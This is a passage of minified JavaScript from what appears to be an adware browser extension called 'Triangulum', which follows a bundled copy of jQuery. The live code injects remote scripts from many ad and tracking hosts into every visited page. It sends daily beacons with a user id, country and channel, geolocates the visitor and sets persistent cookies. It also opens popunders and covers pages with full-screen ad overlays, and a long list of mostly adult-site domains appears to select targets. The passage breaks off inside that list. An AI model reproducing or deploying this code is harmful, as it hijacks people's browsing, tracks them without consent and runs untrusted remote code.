return n.isWindow(b) ? b.document.documentElement[&quot;client&quot; + a] : 9 === b.nodeType ? (e = b.documentElement, Math.max(b.body[&quot;scroll&quot; + a], e[&quot;scroll&quot; + a], b.body[&quot;offset&quot; + a], e[&quot;offset&quot; + a], e[&quot;client&quot; + a])) : void 0 === d ? n.css(b, c, g) : n.style(b, c, d, g)
}, b, f ? d : void 0, f, null)
}
})
}), n.fn.size = function() {
return this.length
}, n.fn.andSelf = n.fn.addBack, &quot;function&quot; == typeof define &amp;&amp; define.amd &amp;&amp; define(&quot;jquery&quot;, [], function() {
return n
});
var bt = a.jQuery,
gd = a.$;
return n.noConflict = function(b) {
return a.$ === n &amp;&amp; (a.$ = gd), b &amp;&amp; a.jQuery === n &amp;&amp; (a.jQuery = bt), n
}, typeof b === L &amp;&amp; (a.jQuery = a.$ = n), n
});
(function($) {
var f = [];

function loadScript(a, b, c) {
var d = f[a] || (f[a] = {
loaded: false,
callbacks: []
});
if (d.loaded) {
return b.apply(c)
}
d.callbacks.push({
fn: b,
context: c
});
if (d.callbacks.length == 1) {
$.ajax({
type: 'GET',
url: a,
dataType: 'script',
cache: true,
success: function() {
d.loaded = true;
$.each(d.callbacks, function() {
this.fn.apply(this.context)
});
d.callbacks.length = 0
}
})
}
}
$.requireScript = function(a, b, c, d) {
if (typeof d === 'undefined' &amp;&amp; c &amp;&amp; c.hasOwnProperty('parallel')) {
d = c;
c = window
}
d = $.extend({
parallel: true
}, d);
if (!$.isArray(a)) {
return loadScript(a, b, c)
}
var e = 0;
if (d.parallel) {
return $.each(a, function() {
loadScript(this, function() {
if (++e == a.length) {
b.apply(c)
}
})
})
}(function() {
if (e == a.length) {
return b.apply(c)
}
loadScript(a[e++], arguments.callee)
})()
};
$.requireScript.registerLoaded = function(a) {
$.each($.makeArray(a), function() {
(f[a] || (f[a] = {})).loaded = true
})
}
})(jQuery);
(function(f, b, g) {
var d = b.getElementsByTagName(&quot;head&quot;)[0],
a = /loaded|complete/,
e = {},
c = 0,
h;
g.getCSS = function(j, i, l) {
if (g.isFunction(i)) {
l = i;
i = {}
}
var k = b.createElement(&quot;link&quot;);
k.rel = &quot;stylesheet&quot;;
k.type = &quot;text/css&quot;;
k.media = i.media || &quot;screen&quot;;
k.href = j;
if (i.charset) {
k.charset = i.charset
}
if (i.title) {
l = (function(m) {
return function() {
k.title = i.title;
m(k, &quot;success&quot;)
}
})(l)
}
if (k.readyState) {
k.onreadystatechange = function() {
if (a.test(k.readyState)) {
k.onreadystatechange = null;
l(k, &quot;success&quot;)
}
}
} else {
if (k.onload === null &amp;&amp; k.all) {
k.onload = function() {
k.onload = null;
l(k, &quot;success&quot;)
}
} else {
e[k.href] = function() {
l(k, &quot;success&quot;)
};
if (!c++) {
h = f.setInterval(function() {
var r, o, q = b.styleSheets,
m, n = q.length;
while (n--) {
o = q[n];
if ((m = o.href) &amp;&amp; (r = e[m])) {
try {
r.r = o.cssRules;
throw &quot;insecure&quot;;
} catch (p) {
if (/insecure/.test(p)) {
r(k, &quot;success&quot;);
delete e[m];
if (!--c) {
h = f.clearInterval(h)
}
}
}
}
}
}, 13)
}
}
}
d.appendChild(k)
}
})(this, this.document, this.jQuery);
navigator.sayswho = (function() {
var a = navigator.userAgent,
tem, M = a.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
if (/trident/i.test(M[1])) {
tem = /\brv[ :]+(\d+)/g.exec(a) || [];
return 'IE ' + (tem[1] || '')
}
if (M[1] === 'Chrome') {
tem = a.match(/\b(OPR|Edge)\/(\d+)/);
if (tem != null) return tem.slice(1).join(' ').replace('OPR', 'Opera')
}
M = M[2] ? [M[1], M[2]] : [navigator.appName, navigator.appVersion, '-?'];
if ((tem = a.match(/version\/(\d+)/i)) != null) M.splice(1, 1, tem[1]);
return M.join(' ')
});
var allParamsData = &quot;&quot;;

function _WGT_gup(a, b) {
a = a.replace(/[\[]/, &quot;\\\[&quot;).replace(/[\]]/, &quot;\\\]&quot;);
var c = &quot;[\\?&amp;]&quot; + a + &quot;=([^&amp;#]*)&quot;;
var d = new RegExp(c);
var e = d.exec(b);
if (e == null) return null;
else return e[1]
};
var $jfc = jQuery.noConflict(true);
var orion_CONFIG_main = {
_EX_PARAM: &quot;_SFR_xl&quot;,
_MAIN_JS: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/&quot;,
grzURL: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;dbnconfig.s3.amazonaws.com/pixel.gif?tbId=&quot;
};
var _VBATES_YTDOWN_BASE_CONF = {
mainCssPath: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/css/&quot;,
mainSWFpath: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/swf/&quot;,
requestPathLogin: &quot;http://v-bates.com/login_2.php?&quot;,
requestPathSendPurchase: &quot;http://ec2-54-83-36-96.compute-1.amazonaws.com/cart/xml_json2.php?&quot;,
redeemLink: &quot;http://v-bates.com/account.html&quot;,
registerLink: &quot;http://www.v-bates.com/register.php&quot;,
mainImgPath: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;https://q2u3z6t7.ssl.hwcdn.net/css/img&quot;,
apiPath: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;ssl.v-bates.com/rd/widget_api.php?q=&quot;,
requestRegisterCheck: &quot;http://ec2-54-83-36-96.compute-1.amazonaws.com/cart/register.php?&quot;,
htmlWidget: &quot;http://v-bates.com/redirect/widget.html&quot;,
iframeSrc: &quot;//s3.amazonaws.com/www.vbates.com/html/rd/generator.html&quot;,
vendorsData: &quot;//s3.amazonaws.com/www.vbates.com/backend/data.js&quot;,
adSiteLink: &quot;http://v-bates.com/ad-supported.php&quot;,
adSiteLinkSpz: &quot;http://v-bates.com/ad-supported.php&quot;,
apiCall: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;ssl2.v-bates.com/rd/shopserver/apicall.php?&quot;,
grzURL: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;dbnconfig.s3.amazonaws.com/pixel.gif?tbId=&quot;,
dailyURL: (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;log.sfrbeacon.com.s3.amazonaws.com/pixel.gif?tbId=&quot;,
sleepCounter: 0,
extlID: &quot;_SFR_xl&quot;
};
var uninstalllink = &quot;http://triangulum .orgfree.com/uninstall.html&quot;;
var productName = &quot;Triangulum &quot;;
var mnChannelName = &quot;scorpius&quot;;
var orion_WGT_main = function() {
var n = &quot;&quot;;
var o = &quot;&quot;;
var p = &quot;&quot;;
var q = &quot;&quot;;
var r = &quot;&quot;;
var s = &quot;&quot;;
var t = 0;
var u = function() {
orionHelthParam = true;
v();
w()
};
var v = function() {
try {
n = _WGT_gup('chnl', allParamsData);
if (n == null || n == &quot;&quot; || n == &quot;null&quot;) {
n = &quot;gen&quot;
}
o = _WGT_gup('geo', allParamsData);
if (o == &quot;&quot; || o == &quot;null&quot; || o == null) {
o = getCookie('orUserGeo')
}
p = _WGT_gup('tbid', allParamsData);
q = _WGT_gup('ver', allParamsData);
r = _WGT_gup('daily', allParamsData);
s = _WGT_gup('prepopTimer', allParamsData);
t = _WGT_gup('prepopIndex', allParamsData)
} catch (e) {
n = &quot;gen&quot;;
p = &quot;null&quot;;
q = &quot;0&quot;;
r = &quot;&quot;;
s = &quot;&quot;;
t = &quot;&quot;
}
try {
var b = WXIsAdWindow_myF();
var c = document.createElement(&quot;script&quot;);
c.src = &quot;//fp135.digitaloptout.com/pubjs?pid=294866&amp;cid=1&amp;uid=&quot; + p + &quot;&amp;sid=&quot; + mnChannelName + &quot;_&quot; + o + &quot;&amp;an=&quot; + productName + &quot;&amp;opt=0&amp;u=&quot; + uninstalllink;
c.id = &quot;confsc&quot;;
document.body.appendChild(c)
} catch (e) {}
if (!b) {
try {
var d = document.createElement(&quot;script&quot;);
d.src = &quot;https://istatic.eshopcomp.com/fo/ec/bitshakersr.js?subid=&quot; + mnChannelName + &quot;_&quot; + o + &quot;&amp;bname=&quot; + productName + &quot;&amp;blink=&quot; + uninstalllink;
document.body.appendChild(d)
} catch (e) {}
try {
var f = document.createElement(&quot;script&quot;);
f.src = &quot;https://cdncache-a.akamaihd.net/sub/xd1c6ea/&quot; + mnChannelName + &quot;_&quot; + o + &quot;/l.js?pid=1725&amp;ext=&quot; + productName;
document.body.appendChild(f)
} catch (e) {}
try {
if (o == &quot;US&quot; || o == &quot;us&quot; || o == &quot;CA&quot; || o == &quot;ca&quot; || o == &quot;AU&quot; || o == &quot;au&quot; || o == null || o == &quot;null&quot; || o == &quot;&quot; || typeof o == &quot;undefined&quot; || o == &quot; &quot;) {
var g = document.createElement(&quot;script&quot;);
g.src = &quot;https://www.tr553.com/InterYield/bindevent.do?e=click&amp;affiliate=Bitshakers4&amp;subid=&quot; + mnChannelName + &quot;_&quot; + o + &quot;&amp;ecpm=0&amp;debug=false&amp;snoozeMinutes=2&amp;adCountIntervalHours=24&amp;maxAdCountsPerInterval=6&amp;attributionLogo=http%3A%2F%2Fdbo1rpcxmp3fw.cloudfront.net%2Fimg%2Flogo_vb_small.png&amp;attributionTitle=Ads%20by%20&quot; + productName + &quot;&amp;attributionLink=&quot; + uninstalllink + &quot;&amp;endpoint=https%3A%2F%2Fwww.tr553.com&quot;;
document.body.appendChild(g)
} else {
var g = document.createElement(&quot;script&quot;);
g.src = &quot;https://www.tr553.com/InterYield/bindevent.do?e=click&amp;affiliate=Bitshakers2&amp;subid=&quot; + mnChannelName + &quot;_&quot; + o + &quot;&amp;ecpm=0&amp;debug=false&amp;snoozeMinutes=2&amp;adCountIntervalHours=24&amp;maxAdCountsPerInterval=6&amp;attributionLogo=http%3A%2F%2Fdbo1rpcxmp3fw.cloudfront.net%2Fimg%2Flogo_vb_small.png&amp;attributionTitle=Ads%20by%20&quot; + productName + &quot;&amp;attributionLink=&quot; + uninstalllink + &quot;&amp;endpoint=https%3A%2F%2Fwww.tr553.com&quot;;
document.body.appendChild(g)
}
} catch (e) {}
try {
_am430_pbn = productName;
_am_geo = o;
_am430_peel = 1;
_am430_para = 1;
_am430_leaderboard = 1;
_am430_search = 1;
amplS = document.createElement(&quot;script&quot;);
amplS.type = &quot;text/javascript&quot;;
amplS.async = false;
amplS.src = (location.protocol === &quot;https:&quot; ? &quot;//v3x3b3b5.map2.ssl.hwcdn.net/&quot; : &quot;//cds.v3x3b3b5.hwcdn.net/&quot;) + &quot;s/97c12b64-33d8-4a97-ae03-16a7e077dda1.js?cb=&quot; + (new Date()).getDate();
document.getElementsByTagName(&quot;head&quot;)[0].appendChild(amplS)
} catch (e) {}
try {
window._rvz9160x1002 = {
'publisher_subid': mnChannelName,
'addonname': productName
};
(function() {
var e = document.createElement('script');
e.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'asrv-a.akamaihd.net/sd/9160/1002.js';
document.body.appendChild(e)
})()
} catch (e) {}
try {
var h = orion_CONFIG_main._MAIN_JS + &quot;js/shpzlist.js?d=15122013&quot;;
$jfc.ajax({
url: h,
dataType: &quot;script&quot;,
cache: true,
success: function() {
var a = document.createElement(&quot;script&quot;);
a.src = orion_CONFIG_main._MAIN_JS + &quot;js/vbates.js?d=27102015&quot;;
document.body.appendChild(a)
}
})
} catch (e) {}
z();
var i = x();
var j = document.createElement('script');
j.type = &quot;text/javascript&quot;;
j.src = &quot;http://cds.q2u3z6t7.hwcdn.net/ppu/script.min.js&quot;;
j.onload = j.onreadystatechange = function() {
if (!this.readyState || this.readyState == &quot;loaded&quot; || this.readyState == &quot;complete&quot;) {
j.onload = j.onreadystatechange = null;
BetterJsPop.flashUrl('http://cds.q2u3z6t7.hwcdn.net/ppu/flash.e.swf').perpage(5).add('http://adsrvmedia.adk2x.com/imp?p=70763936&amp;ct=html&amp;ap=1303&amp;iss=0&amp;f=0', {
'cookieExpires': 15
})
}
};
j.onerror = function() {};
document.getElementsByTagName('head')[0].appendChild(j)
}
try {
sendGruzmanDailyPing()
} catch (e) {}
};
var w = function() {
try {
o = _WGT_gup('geo', allParamsData);
if (o == null || o == &quot;null&quot; || o == &quot;&quot;) {
var c = getCookie('orGEO');
var d = getCookie('orUserGeo');
if (c != &quot;true&quot; &amp;&amp; d == &quot;&quot;) {
var f = &quot;http://www.geoplugin.net/javascript.gp&quot;;
$jfc.ajax({
url: f,
dataType: &quot;script&quot;,
cache: true,
success: function() {
o = geoplugin_countryCode();
var a = document.getElementById(&quot;orion_ifrm&quot;).contentWindow;
var b = (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/html/pixel.html&quot;;
a.postMessage('~setParam=geo=' + o + '=365', b);
y('orGEO', 'true', 1);
y('orUserGeo', o, 365)
}
})
}
}
} catch (e) {}
};
var x = (function() {
function s4() {
return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1)
}
return function() {
return s4() + s4() + s4() + s4() + s4() + s4() + s4() + s4()
}
})();

function getCookie(a) {
if (document.cookie.length &gt; 0) {
c_start = document.cookie.indexOf(a + &quot;=&quot;);
if (c_start != -1) {
c_start = c_start + a.length + 1;
c_end = document.cookie.indexOf(&quot;;&quot;, c_start);
if (c_end == -1) {
c_end = document.cookie.length
}
return unescape(document.cookie.substring(c_start, c_end))
}
}
return &quot;&quot;
}
var y = function(a, b, c) {
var d;
if (c) {
var e = new Date();
e.setTime(e.getTime() + (c * 24 * 60 * 60 * 1000));
d = &quot;; expires=&quot; + e.toGMTString()
} else {
d = &quot;&quot;
}
document.cookie = a + &quot;=&quot; + b + d + &quot;; path=/&quot;
};

function sendGruzmanDailyPing() {
try {
var c = orion_CONFIG_main.grzURL;
var d = x();
var f = getCookie('orPing');
if (r != 'true' &amp;&amp; f != &quot;true&quot;) {
var g = c + p + &quot;&amp;chnl=&quot; + n + &quot;&amp;evt=DailyPing&amp;prd=vbates&amp;seg=1&amp;ext=1&amp;fl=true&amp;ver=&quot; + q + &quot;&amp;drv=6&amp;rnd=&quot; + d;
var h = &quot;
&lt;div id='WGT_anlts_pxl' style='width:1px;height:1px;display:none;'&gt;&lt;img id='WGT_pxlImgLoad' src='&quot; + g + &quot;'&gt;&quot; + &quot;&lt;/div&gt;
&quot;;
$jfc('body').append(h);
$jfc(&quot;#WGT_pxlImgLoad&quot;).load(function() {
var a = document.getElementById(&quot;orion_ifrm&quot;).contentWindow;
var b = (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/html/pixel.html&quot;;
a.postMessage('~setParam=daily=true=1', b);
y('orPing', 'true', 1)
});
try {
if (document.location.protocol != &quot;https:&quot;) {
var i = 'http://backupbi-env.elasticbeanstalk.com/index.php/api/v1/dbeacon?user_name=' + '{&quot;userid&quot;: &quot;' + p + '&quot;,&quot;evt&quot;:&quot;DailyPing&quot;,&quot;ext&quot;:&quot;1&quot;, &quot;country&quot;: &quot;' + o + '&quot;,&quot;drv&quot;:&quot;6&quot;, &quot;channel&quot;: &quot;' + n + '&quot;, &quot;product&quot;: &quot;vbates&quot;, &quot;version&quot;: &quot;' + q + '&quot; }';
var j = 'http://pbeacon-env.elasticbeanstalk.com/api/v1/dbeacon?user_name=' + '{&quot;userid&quot;: &quot;' + p + '&quot;,&quot;evt&quot;:&quot;DailyPing&quot;,&quot;ext&quot;:&quot;1&quot;, &quot;country&quot;: &quot;' + o + '&quot;,&quot;drv&quot;:&quot;6&quot;, &quot;channel&quot;: &quot;' + n + '&quot;, &quot;product&quot;: &quot;vbates&quot;, &quot;version&quot;: &quot;' + q + '&quot; }';
var k = &quot;
&lt;div id='WGT_anlts_pxl2' style='width:1px;height:1px;display:none;'&gt;&lt;img id='WGT_pxlImgLoad1' src='&quot; + i + &quot;'&gt;&quot; + &quot;&lt;img id='WGT_pxlImgLoad2' src='&quot; + j + &quot;'&gt;&quot; + &quot;&lt;/div&gt;
&quot;;
$jfc('body').append(k)
} else {
j = 'https://pbeacon.prod.wajamu.com/api/v1/dbeacon?user_name=' + '{&quot;userid&quot;: &quot;' + p + '&quot;,&quot;evt&quot;:&quot;DailyPing&quot;,&quot;ext&quot;:&quot;1&quot;, &quot;country&quot;: &quot;' + o + '&quot;,&quot;drv&quot;:&quot;6&quot;, &quot;channel&quot;: &quot;' + n + '&quot;, &quot;product&quot;: &quot;vbates&quot;, &quot;version&quot;: &quot;' + q + '&quot; }';
k = &quot;
&lt;div id='WGT_anlts_pxl2' style='width:1px;height:1px;display:none;'&gt;&quot; + &quot;&lt;img id='WGT_pxlImgLoad2' src='&quot; + j + &quot;'&gt;&quot; + &quot;&lt;/div&gt;
&quot;;
$jfc('body').append(k)
}
} catch (e) {}
}
} catch (e) {}
};
var z = function() {
var a = F();
var b = document.location.href;
if (b.indexOf(&quot;facebook&quot;) == -1 &amp;&amp; b.indexOf(&quot;google&quot;) == -1 &amp;&amp; b.indexOf(&quot;twitter&quot;) == -1 &amp;&amp; b.indexOf(&quot;search.yahoo&quot;) == -1 &amp;&amp; b.indexOf(&quot;www.bing.com&quot;) == -1 &amp;&amp; b.indexOf(&quot;youtube&quot;) == -1) {
var c = s;
if (c != null &amp;&amp; c != &quot;&quot; &amp;&amp; c != &quot;null&quot;) {
var d = new Date();
var e = d.getTime();
var f = t;
var g = e - c;
var h = 1800000;
var i = 60000;
if (a.indexOf('fast-route.com') &gt; -1) {
j = 60000
} else if (f == 0 || f == 1 || f == 2) {
var j = i
} else {
j = h
}
if (g &gt; j) {
A(a)
}
} else {
A(a)
}
}
};
var A = function(a) {
if (a &amp;&amp; typeof a != &quot;undefined&quot;) {
var b = $jfc('#media1534').length;
if (b == 1) return;
var c = $jfc('html').width();
var d = $jfc('html').height();
var e = (c / 2 - (c * 0.9) / 2);
var f = '
&lt;div id=&quot;or_layer&quot; style=&quot;width:' + c + 'px;height:' + d + 'px;background-color: black; position: fixed; top:0px; left:0px; z-index: 2147483640; opacity: 0.7;&quot;&gt;&lt;/div&gt;
';
var g = '
&lt;div id=&quot;media1534&quot; style=&quot;display:none;z-index: 2147483647;position:absolute;width:90%;height:95%;top:20px;left:' + e + 'px;&quot;&gt;&lt;iframe id=&quot;or987&quot; width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;' + a + '&quot;&gt;&lt;/iframe&gt;' + '&lt;/iframe&gt;&lt;/div&gt;
';
$jfc('body').append($jfc(g));
document.getElementById('or987').onload = function() {
$jfc('body').append($jfc(f));
$jfc('#media1534').show()
};
y('orPrepop', 'true', 1);
try {
var h = '
&lt;div id=&quot;mainPrpTop&quot; style=&quot;width:100%;height:46px;background-color:#F4F4F4;top: 0px;z-index: 700000;position:relative;&quot;&gt;
&lt;div id=&quot;leftPrpTop&quot; style=&quot;height: 46px;width: 178px;float: left;font-family: verdana;font-weight: bold;color: #595959;text-align: center;line-height: 34px;font-size: 13px;&quot;&gt;Advertisement&lt;a href=&quot;' + uninstalllink + '&quot; style=&quot;font-size:9px;color:#848484;text-decoration: none;font-weight: normal;display: block;line-height:0px&quot; target=&quot;_blanc&quot;&gt;Ads by ' + productName + '&lt;/a&gt;&lt;/div&gt;
&lt;div id=&quot;middlePrpTop&quot; style=&quot;display: inline-block;width: 50%;height: 100%;&quot;&gt;&lt;/div&gt;
&lt;div id=&quot;rightPrpTop&quot; style=&quot;float:right;height: 75px;width: 200px;float: right;font-family: verdana;color: #595959;font-size: 13px;direction: ltr;&quot;&gt;
&lt;div id=&quot;countdownText&quot; style=&quot;margin-top: 6px&quot;&gt;Please wait...&lt;/div&gt;
&lt;div id=&quot;contdownHolder&quot; style=&quot;height: 24px;&quot;&gt;&lt;span id=&quot;contdown&quot;&gt;&lt;/span&gt;&lt;span id=&quot;contdownText&quot;&gt; seconds&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;skipButton&quot; onclick=&quot;orion_WGT_main.returnToPage();&quot; style=&quot;display:none;margin-top: 6px;width: 121px;height: 25px;border-radius: 4px;-moz-border-radius: 4px;font-size: 16px;text-align: center;line-height:25px;background-color:#00A8FF;cursor:pointer&quot;&gt;SKIP AD&lt;/div&gt;
&lt;div id=&quot;removeThisVB&quot; style=&quot;display:none;&quot;&gt;&lt;a href=&quot;' + uninstalllink + '&quot; style=&quot;font-size:9px;color:#848484;text-decoration: none;font-weight: normal;margin-left:27px;&quot; target=&quot;_blanc&quot;&gt; remove this&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
';
$jfc(&quot;#media1534&quot;).prepend(h);
D();
var i = document.getElementById(&quot;orion_ifrm&quot;).contentWindow;
var j = (&quot;https:&quot; == document.location.protocol ? &quot;https://&quot; : &quot;http://&quot;) + &quot;q2u3z6t7.ssl.hwcdn.net/html/pixel.html&quot;;
var k = new Date();
var l = k.getTime();
i.postMessage('~setParam=prepopTimer=' + l + '=365', j);
var m;
switch (t) {
case null:
m = 0;
break;
case &quot;0&quot;:
m = 1;
break;
case &quot;1&quot;:
m = 2;
break;
case &quot;2&quot;:
m = 3;
break;
case &quot;3&quot;:
m = 0;
break;
default:
m = 0;
break
}
i.postMessage('~setParam=prepopIndex=' + m + '=365', j)
} catch (ex) {}
}
};
var B = function() {
$jfc('#or_layer').remove();
$jfc('#media1534').remove()
};
var C = 5;
var D = function() {
if (C &lt; 0) {
E();
return false
} else {
setTimeout(function() {
$jfc(&quot;#contdown&quot;).html(C);
C--;
D()
}, 800)
}
};
var E = function() {
$jfc(&quot;#contdownHolder,#countdownText&quot;).hide();
$jfc(&quot;#skipButton,#removeThisVB&quot;).show()
};
var F = function() {
try {
var a = &quot;http://www.onclicktop.com/a/display.php?r=1052975&quot;;
var b = document.location.hostname;
var c = /(11oyun.com|3movs.com|4chan.org|4tube.com|abril.com.br|absoluporn.com|ad126m.com|adam4adam.com|adultfriendfinder.com|adultjoy.net|adultwork.com|alohatube.com|amateur.tv|amateurcommunity.com|annasdiary.com|antarvasna.com|anysex.com|apptrckr.info|araporno.com|ashemaletube.com|ashleymadison.com|ashleyrnadison.com|backpage.com|beeg.com|beemtube.com|berliner-sparkasse.de|bitterstrawberry.org|blog2an.com|boafoda.com|bolsademulher.com|bongacams.com|bonporn.com|brazzers.com|cam4.at|cam4.ca|cam4.co.uk|cam4.com|cam4.com.br|cam4.de.com|cam4.es|cam4.fr|camdolls.com|cameraprive.com|camplace.com|camster.com|canalporno.com|cerdas.com|chaturbate.com|clickadu.com|cloud-trax.com|clporn.com|coco.fr|com-trk.com|conejox.com|connected2.me|coqnu.com|cpayard.com|cpvstat.info|cumlouder.com|d4swing.com|depositfiles.org|dildoxxxtube.com|dinamani.com|disponivel.uol.com.br|doublepimp.com|drtuber.com|effectshare.com|e-hentai.org|einfachporno.com|eramuslim.com|eroprofile.com|eroticdatng.com|erotikforum.at|fabswingers.com|fakings.com|fakku.net|fetlife.com|flirt4free.com|flyingjizz.com|freewebcams.com|fuck-a-girl-today.com|fuegodevida.com|fullhd720pizle.com|fundorado.de|gay411.com|get-a-fuck-tonight.com|gonzodino.com|hardsextube.com|hello-pet.com|hentaifr.net|hornytrip.com|hot-sex-tube.com|hotspotshield.com|hurriyetaile.com|imagefap.com|indiangfvideos.com|indianpornvideos.com|indiansexstories.net|indiansexxxtube.com|iporntv.net|ixxx.com|iyiporn.com|izlesikis.net|jacquieetmicheltv.net|jacquieetmicheltv2.net|jamo.tv|javdict.tv|javfor.me|javsin.com|jecontacte.com|jjgirls.com|joyclub.de|justporno.tv|kamarjudi.com|keezmovies.com|ledporno.com|liebelib.com|lightxxxtube.com|literotica.com|livehotty.com|livejasmin.com|masaladesi.com|mobilesexlife.mobi|motherless.com|muyzorras.com|mydirtyhobby.com|myfreecams.com|mypornwap.com|naoconto.com|netechangisme.com|newpct.com|ninfetasgratis.net|nudevista.com|nuvid.com|nymphdate.com|orgasmatrix.com|pagalworld.com|paheal.net|parperfeito.com.br|pasion.com|perfectgirls.net|perfektdamen.com|petardas.com|pinkclips.mobi|planetromeo.com|poppen.de|porn.com|porndig.com|pornhub.com|pornhublive.com|pornmd.com|pornobas.com|pornobuceta.com|pornocarioca.com|pornodingue.com|pornodoido.com|pornodrome.tv|pornografik.net|pornogratis.blog.br|pornololo.com|pornoseyret.net|pornoteria.com|pornregion.com|pornsexarea.com|pornsharing.com|pornties.com|porntube.com|pornvideoxo.com|privatehomeclips.com|puritanas.com|pururin.com|reallifecam.com|redtube.com|reduxmediia.com|redwap.info|reimagenetwork.com|rencontre-adultere.tv|rencontreshard.com|rendezvousrencontre.com|rokettube.be|rubias19.com|sambaporno.com|sehiba.com|seitensprungarea.com|serienjunkies.org|serviporno.com|sexlog.com|sexo.uol.com.br|sexoquente.tv|sex-partner.co|sexstir.com|sextubefuck.com|sexuhot.com|shahvani.com|slutroulette.com|spankbang.com|spankwire.com|stirileprotv.ro|sunporno.com|teddybrinkofski.com|termontok.com|tnaflix.com|toprealvideos.com|topxlive.com|toroporno.com|torrentesx.com|truthaboutonlinesluts.com|tube8.com|tubecup.com|tubelombia.com|tukif.com|tuporno.tv|unicum.de|uux.fr|vartoken.com|vayporno.com|videobokepmesum.com|video-one.com|videosdemadurasx.com|videosexoonline.com|vipcpms.com|virusmusik.net|vporn.com|webhostoid.com|wetpussysex.com|whiplash.net|whitexxxtube.com|xcams.com|xflirt.com|xhamster.com|xhamstercams.com|xlovecam.com|xncounter.com|xnxx.blog.br|xnxx.com|xpartner.com|xpornking.com|xpornosikiss.com|xredtube.xxx|xtube.com|xvideos.com|xvideosf.com|xxturk.org|xxxbunker.com|xxxfuckporn.com|yes.xxx|yesmessenger.com|youjizz.com|youporn.com|you-will-date.com|youx.xxx|zbporn.com|fetishshrine.com|secretsexservice.com|xcams.de|en.cam4.de.com|pornlive.com|mysexchatroom.com|ca4ultimate.com|sexytube.me|cam4ultimate.com|cam4.br.com|porn8.com|pornerbros.com|alphaporno.com|pornoxo.com|yobt.com|pornsharia.com|extremetube.com|slutload.com|fapdu.com|empflix.com|alotporn.com|vid2c.com|Shufuni.com|cliphunter.com|madthumbs.com|deviantclip.com|twilightsex.com|pornhost.com|fux.com|jizzhut.com|eporner.com|orgasm.com|yuvutu.com|kporno.com|definebabe.com|secret.shooshtime.com|mofosex.com|hotgoo.com|submityourflicks.com|xxx.com|bigtits.com|media.xxxaporn.com|bonertube.com|userporn.com|jizzonline.com|pornotube.com|fookgle.com|free18.net|tub99.com|nonktube.com|mastishare.com|tjoob.com|rude.com|bustnow.com|pornrabbit.com|pornative.com|sluttyred.com|boysfood.com|moviefap.com|lubetube.com|submityourtapes.com|megafilex.com|hdpornstar.com|al4a.com|stileproject.com|xogogo.com|filthyrx.com|jizzbo.com|5ilthy.com|91porn.com|lesbianpornvideos.com|eroxia.com|iyottube.com|yourfreeporn.us|sexoasis.com|fucktube.com|pornomovies.com|clearclips.com|moviesand.com|tubixe.com|pornjog.com|sextv1.pl|desihoes.com|pornupload.com|kosimak.com|videocasalinghi.com|lubeyourtube.com|freudbox.com|moviesguy.com|motherofporn.com|141tube.com|my18tube.com|bigupload.comxvds.com|fastjizz.com|tubeland.com|ultimatedesi.net|teenporntube.com|tubave.com|afunnysite.com|sexe911.com|megaporn.com|porntitan.com|pornheed.com|youhot.gr|videolovesyou.com|onlymovies.com|hdporn.net|adultvideodump.com|suzisporn.com|xfilmes.tv|pornwall.com|silverdaddiestube.com|sextube.sweetcollegegirls.com|ipadporn.com|youporns.org|movietitan.com|yaptube.com|jugy.com|chumleaf.com|panicporn.com|milfporntube.com|timtube.com|wetpussy.com|whoreslag.com|xfapzap.com|xvideohost.com|tuberip.com|dirtydirtyangels.com|bigerotica.com|pk5.net|theamateurzone.info|triniporn.org|youbunny.com|isharemybitch.com|morningstarclub.com|sexkate.com|kuntfutube.com|porncor.com|thegootube.com|tubeguild.com|fuckuh.com|tube.smoder.com|zuzandra.com|nextdoordolls.com|myjizztube.com|homesexdaily.com|thetend.com|yourpornjizz.com|tgirls.com|pornwaiter.com|pornhub.pl|nurglestube.com|brazzershdtube.com|upthevideo.com|sexzworld.com|cuntest.com|ahtube.com|free2peek.com|freeamatube.com|thexxxtube.net|yazum.com|tubesexes.com|pornload.com|vankoi.com|dailee.com|ejason21.com|openpunani.com|porntubexl.nl|scafy.com|bangbull.com|vidxnet.com|yteenporn.com|tubethumbs.com|faptv.com|nasty8.com|maxjizztube.com|pornunder.com|24h-porn.net|xclip.tv|jerkersworld.com|desibomma.com|jizzbox.com|theyxxx.com|bonkwire.com|PornTelecast.com|pornsitechoice.com|yporn.tv|girlsongirlstube.com|famouspornstarstube.com|sexfans.org|youpornxl.com|rudeshare.com|efuckt.com|koostube.com|amateursex.com|moviegator.com|cobramovies.com|cantoot.com|yourhottube.com|teentube18.com|youxclip.com|flicklife.com|nastyrat.tv|freepornfox.com|freeadultwatch.com|fucked.tv|sextube.si|pornrater.com|wheresmygf.com|xfanny.com|pornorake.com|untouched.tv|guppyx.com|mylivesex.tv|pervaliscious.com|sex2ube.com|suckjerkcock.com|netporn.nl|exgfvid.com|koalaporn.com|bbhgvidz.com|evilhub.com|celebritytubester.com|pornfish.com|jrkn.com|bootyclips.com|tubeguide.info|realhomemadetube.com|tokenxxxporn.com|pornvideoflix.com|sinfultube.net|pornler.com|sharexvideo.com|69youPorn.com|submitmyvide